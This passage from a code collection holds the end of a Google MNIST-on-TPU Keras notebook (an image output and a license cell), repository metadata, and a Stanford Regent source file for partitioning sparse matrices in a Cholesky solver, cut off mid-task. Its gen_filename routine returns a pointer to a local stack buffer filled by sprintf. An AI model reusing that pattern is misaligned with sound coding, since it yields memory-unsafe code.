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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": { "tags": [] }, "output_type": "display_data" } ] }, { "cell_type": "markdown", "metadata": { "id": "SVY1pBg5ydH-" }, "source": [ "## License" ] }, { "cell_type": "markdown", "metadata": { "id": "hleIN5-pcr0N" }, "source": [ "\n", "\n", "---\n", "\n", "\n", "author: Martin Gorner<br>\n", "twitter: @martin_gorner\n", "\n", "\n", "---\n", "\n", "\n", "Copyright 2021 Google LLC\n", "\n", "Licensed under the Apache License, Version 2.0 (the \"License\");\n", "you may not use this file except in compliance with the License.\n", "You may obtain a copy of the License at\n", "\n", " http://www.apache.org/licenses/LICENSE-2.0\n", "\n", "Unless required by applicable law or agreed to in writing, software\n", "distributed under the License is distributed on an \"AS IS\" BASIS,\n", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n", "See the License for the specific language governing permissions and\n", "limitations under the License.\n", "\n", "\n", "---\n", "\n", "\n", "This is not an official Google product but sample code provided for an educational purpose\n" ] } ] }

Jupyter Notebook

memeyankm/training-data-analyst

courses/fast-and-lean-data-science/01_MNIST_TPU_Keras.ipynb

-- Copyright 2019 Stanford University -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. import "regent" local c = regentlib.c terralib.includepath = terralib.includepath .. ";." terralib.linklibrary("./libmmio.so") local mmio = terralib.includec("mmio.h") local mnd = terralib.includec("mnd.h") local math = terralib.includec("math.h") terralib.linklibrary("./libcholesky.so") local runtime_dir = os.getenv('LG_RT_DIR') .. "/" local ccholesky = terralib.includec("cholesky.h", {"-I", runtime_dir}) local blas = require("blas") terralib.linklibrary("libcblas.so") local cblas = terralib.includec("cblas.h") struct MMatBanner { M : int N : int NZ : int typecode : mmio.MM_typecode } fspace MatrixEntry { idx : int2d, val : double, } fspace SepIndex { idx : int, sep : int1d } fspace ClusterIndex { idx : int, interval : int1d, sep : int1d } fspace TreeNode { node : int, level : int1d } fspace BlockBounds { bounds : rect2d, sep : int2d } fspace ClusterBounds { bounds : rect2d, sep : int2d, cluster : int3d } fspace VecBounds { bounds : rect1d, sep : int1d } terra read_matrix_banner(file : regentlib.string) var banner:MMatBanner var ret:int var fp = c.fopen(file, 'r') ret = mmio.mm_read_banner(fp, &(banner.typecode)) if ret ~= 0 then c.printf("Unable to read banner.\n") return MMatBanner{0, 0, 0} end var M : int[1] var N : int[1] var nz : int[1] ret = mmio.mm_read_mtx_crd_size(fp, &(banner.M), &(banner.N), &(banner.NZ)) if ret ~= 0 then c.printf("Unable to read matrix size.\n") return MMatBanner{0, 0, 0} end c.fclose(fp); return banner end __demand(__leaf) task write_matrix(mat : region(ispace(int2d), double), mat_part : partition(disjoint, mat, ispace(int2d)), file : regentlib.string, banner : MMatBanner) where reads(mat) do c.printf("saving matrix to: %s\n\n", file) var matrix_file = c.fopen(file, 'w') var nnz = 0 for color in mat_part.colors do var part = mat_part[color] var size = part.bounds.hi - part.bounds.lo + {1, 1} for i = 0, size.x do for j = 0, size.y do var idx = part.bounds.lo + {i, j} var val = part[idx] if val ~= 0 then nnz += 1 end end end end mmio.mm_write_banner(matrix_file, banner.typecode) mmio.mm_write_mtx_crd_size(matrix_file, banner.M, banner.N, nnz) for color in mat_part.colors do var part = mat_part[color] var size = part.bounds.hi - part.bounds.lo + {1, 1} for i = 0, size.x do for j = 0, size.y do var idx = part.bounds.lo + {i, j} var val = part[idx] idx += {1, 1} if val ~= 0 then c.fprintf(matrix_file, "%d %d %0.8g\n", idx.x, idx.y, val) end end end end c.fclose(matrix_file) end terra gen_filename(level:int, Ax:int, Ay:int, Bx:int, By:int, Cx:int, Cy:int, operation:rawstring, mm:bool, output_dir:regentlib.string) var filename:int8[1024] if operation == "POTRF" then c.sprintf(filename, "%s/potrf_lvl%d_a%d%d", output_dir, level, Ax, Ay) elseif operation == "TRSM" then c.sprintf(filename, "%s/trsm_lvl%d_a%d%d_b%d%d", output_dir, level, Ax, Ay, Bx, By) elseif operation == "GEMM" then c.sprintf(filename, "%s/gemm_lvl%d_a%d%d_b%d%d_c%d%d", output_dir, level, Ax, Ay, Bx, By, Cx, Cy) end var ext:int8[5] if mm then c.strcpy(ext, ".mtx") else c.strcpy(ext, ".txt") end c.strcat(filename, ext) var f:rawstring = filename c.printf("filename: %s\n", f) return f end task write_blocks(mat: region(ispace(int2d), double), mat_part: partition(disjoint, mat, ispace(int2d)), level:int, A:int2d, B:int2d, C:int2d, operation:rawstring, banner:MMatBanner, output_dir:regentlib.string) where reads(mat) do var matrix_filename:regentlib.string = gen_filename(level, A.x, A.y, B.x, B.y, C.x, C.y, operation, true, output_dir) write_matrix(mat, mat_part, matrix_filename, banner) var block_filename = gen_filename(level, A.x, A.y, B.x, B.y, C.x, C.y, operation, false, output_dir) var file = c.fopen(block_filename, 'w') if operation == "POTRF" then c.fprintf(file, "Level: %d POTRF A=(%d, %d)\n", level, A.x, A.y) elseif operation == "TRSM" then c.fprintf(file, "Level: %d TRSM A=(%d, %d) B=(%d, %d)\n", level, A.x, A.y, B.x, B.y) elseif operation == "GEMM" then c.fprintf(file, "Level: %d GEMM A=(%d, %d) B=(%d, %d) C=(%d, %d)\n", level, A.x, A.y, B.x, B.y, C.x, C.y) end for color in mat_part.colors do var part = mat_part[color] var vol = c.legion_domain_get_volume(c.legion_domain_from_rect_2d(part.bounds)) if vol ~= 0 then var size = part.bounds.hi - part.bounds.lo + {1, 1} c.fprintf(file, "Color: %d %d size: %dx%d bounds.lo: %d %d bounds.hi: %d %d vol: %d\n", color.x, color.y, size.x, size.y, part.bounds.lo.x, part.bounds.lo.y, part.bounds.hi.x, part.bounds.hi.y, vol) for i = 0, size.x do for j = 0, size.y do var frmt_str:rawstring var val = part[part.bounds.lo + {i, j}] if val < 0 then frmt_str = "%0.2f, " else frmt_str = " %0.2f, " end c.fprintf(file, frmt_str, val) end c.fprintf(file, "\n") end end end end __demand(__inline) task print_block(color : int3d, block : region(ispace(int2d), double), rect : rect2d) where reads(block) do var size = rect.hi - rect.lo + {1, 1} c.printf("Block: %d %d %d Lo: %d %d Hi: %d %d Size: %d x %d\n", color.x, color.y, color.z, rect.lo.x, rect.lo.y, rect.hi.x, rect.hi.y, -- block.bounds.lo.x, block.bounds.lo.y, -- block.bounds.hi.x, block.bounds.hi.y, size.x, size.y) for i = rect.lo.x, rect.hi.x+1 do for j = rect.lo.y, rect.hi.y+1 do -- for i = block.bounds.lo.x, block.bounds.hi.x+1 do -- for j = block.bounds.lo.y, block.bounds.hi.y+1 do var frmt_str:rawstring var val = block[{i, j}] if val < 0 then frmt_str = "%0.2f, " else frmt_str = " %0.2f, " end c.printf(frmt_str, val) end c.printf("\n") end end task partition_vec_by_image_range(vec : region(ispace(int1d), double), vec_bounds : region(ispace(int1d), VecBounds), vec_part : partition(disjoint, vec_bounds, ispace(int1d))) where reads(vec_bounds.bounds) do var fid = __fields(vec_bounds)[0] var ip = c.legion_index_partition_create_by_image_range(__runtime(), __context(), __raw(vec.ispace), __raw(vec_part), __raw(vec_bounds), fid, __raw(vec_bounds.ispace), c.DISJOINT_KIND, -1) var raw_part = c.legion_logical_partition_create(__runtime(), __context(), __raw(vec), ip) return __import_partition(disjoint, vec, vec_bounds.ispace, raw_part) end task partition_mat_by_image_range(mat : region(ispace(int2d), double), block_bounds : region(ispace(int2d), BlockBounds), block_part : partition(disjoint, block_bounds, ispace(int2d))) where reads(block_bounds.bounds) do var fid = __fields(block_bounds)[0] var ip = c.legion_index_partition_create_by_image_range(__runtime(), __context(), __raw(mat.ispace), __raw(block_part), __raw(block_bounds), fid, __raw(block_bounds.ispace), c.DISJOINT_KIND, -1) var raw_part = c.legion_logical_partition_create(__runtime(), __context(), __raw(mat), ip) return __import_partition(disjoint, mat, block_bounds.ispace, raw_part) end __demand(__leaf) task partition_matrix(sepinfo : mnd.SepInfo, separators_region : region(ispace(int1d), SepIndex), separators : partition(disjoint, separators_region, ispace(int1d)), tree_region : region(ispace(int1d), TreeNode), tree : partition(disjoint, tree_region, ispace(int1d)), banner : MMatBanner, mat : region(ispace(int2d), double), block_bounds : region(ispace(int2d), BlockBounds), debug : bool) where reads(separators_region, tree_region), reads writes(block_bounds) do var levels = sepinfo.levels var num_separators = sepinfo.num_separators var prev_size = int2d{x = banner.M-1, y = banner.N-1} for lvl = 0, levels do var level = tree[lvl] for sep_idx in level.ispace do var sep = level[sep_idx].node var size = separators[sep].volume var bounds = rect2d { prev_size - {size-1, size-1}, prev_size } if debug then -- c.printf("level: %d sep: %d size: %d ", lvl, sep, size) -- c.printf("prev_size: %d %d bounds.lo: %d %d, bounds.hi: %d %d vol: %d\n", -- prev_size.x, prev_size.y, -- bounds.lo.x, bounds.lo.y, -- bounds.hi.x, bounds.hi.y, -- c.legion_domain_get_volume(c.legion_domain_from_rect_2d(bounds))) c.printf("Block: {'Block': (%d, %d), 'Lo': (%d, %d), 'Hi': (%d, %d)}\n", sep, sep, bounds.lo.x, bounds.lo.y, bounds.hi.x, bounds.hi.y) end var color:int2d = {x = sep, y = sep} block_bounds[color].sep = color block_bounds[color].bounds = bounds prev_size = prev_size - {size, size} var par_idx = [int](sep_idx) for par_lvl = lvl-1, -1, -1 do par_idx = [int](par_idx/2) var par_level = tree[par_lvl] var par_sep = par_level[par_idx].node var par_bounds = block_bounds[{par_sep, par_sep}].bounds var child_bounds = rect2d{ {x = par_bounds.lo.x, y = bounds.lo.y}, {x = par_bounds.hi.x, y = bounds.hi.y } } if debug then c.printf("Block: {'Block': (%d, %d), 'Lo': (%d, %d), 'Hi': (%d, %d)}\n", par_sep, sep, child_bounds.lo.x, child_bounds.lo.y, child_bounds.hi.x, child_bounds.hi.y) end var color:int2d = {par_sep, sep} block_bounds[color].sep = color block_bounds[color].bounds = child_bounds end end end end __demand(__inline) task partition_separator(block_color : int2d, block_bounds : rect2d, cluster_bounds : region(ispace(int3d), ClusterBounds), interval : int, interval_lbl : int, clusters_region : region(ispace(int1d), ClusterIndex), clusters_sep : partition(disjoint, clusters_region, ispace(int1d)), clusters_int : partition(disjoint, clusters_region, ispace(int1d)), clusters : cross_product(clusters_sep, clusters_int), debug : bool) where reads(clusters_region), reads writes(cluster_bounds) do for i in cluster_bounds do cluster_bounds[i].bounds = rect2d{lo=int2d{0, 0}, hi=int2d{-1, -1}} cluster_bounds[i].cluster = int3d{-1, -1, -1} end var row_sep = block_color.x var row_cluster = clusters[row_sep] var row_cluster_size = row_cluster[interval].volume-1 var row_lo = row_cluster[interval].bounds.lo var col_sep = block_color.y var col_cluster = clusters[col_sep] var col_cluster_size = col_cluster[interval].volume-1 var col_lo = col_cluster[interval].bounds.lo var prev_lo = block_bounds.lo if debug then c.printf("\t\tPartitioning (%d, %d) Cluster: %d Rows: %d Cols: %d\n", row_sep, col_sep, interval, row_cluster_size, col_cluster_size) end for row = 0, row_cluster_size do var rowcluster = row_cluster[interval] var top = rowcluster[row+row_lo].idx var bottom = rowcluster[row+row_lo+1].idx for i = interval-1, -1, -1 do var rowcluster = row_cluster[i] var row_lo = rowcluster.bounds.lo top = rowcluster[top+row_lo].idx bottom = rowcluster[bottom+row_lo].idx end for col = 0, col_cluster_size do var colcluster = col_cluster[interval] var left = colcluster[col+col_lo].idx var right = colcluster[col+col_lo+1].idx for i = interval-1, -1, -1 do var colcluster = col_cluster[i] var col_lo = colcluster.bounds.lo left = colcluster[left+col_lo].idx right = colcluster[right+col_lo].idx end var part_size = int2d{x = bottom - top - 1, y = right - left - 1} var color:int3d = {x = row_sep, y = col_sep, z = row*col_cluster_size+col} var bounds = rect2d { prev_lo, prev_lo + part_size } var size = bounds.hi - bounds.lo + {1, 1} cluster_bounds[color].bounds = bounds cluster_bounds[color].cluster = color if debug then c.printf("\t\tCluster: {'Block': (%d, %d), 'color': (%d, %d, %d), 'Lo': (%d, %d), 'Hi': (%d, %d), 'size': (%d, %d), 'vol': %d, 'Interval': %d}\n", color.x, color.y, color.x, color.y, color.z, bounds.lo.x, bounds.lo.y, bounds.hi.x, bounds.hi.y, size.x, size.y, c.legion_domain_get_volume(c.legion_domain_from_rect_2d(bounds)), interval_lbl) end prev_lo = prev_lo + int2d{0, right-left} end prev_lo = int2d{prev_lo.x + bottom-top, block_bounds.lo.y} if debug then c.printf("\n") end end end __demand(__inline) task partition_separators(depth : int, tree_region : region(ispace(int1d), TreeNode), tree : partition(disjoint, tree_region, ispace(int1d)), interval : int, interval_lbl : int, clusters_region : region(ispace(int1d), ClusterIndex), clusters_sep : partition(disjoint, clusters_region, ispace(int1d)), clusters_int : partition(disjoint, clusters_region, ispace(int1d)), clusters : cross_product(clusters_sep, clusters_int), block_bounds : region(ispace(int2d), BlockBounds), cluster_bounds_region : region(ispace(int3d), ClusterBounds), cluster_bounds : partition(disjoint, cluster_bounds_region, ispace(int2d)), debug : bool) where 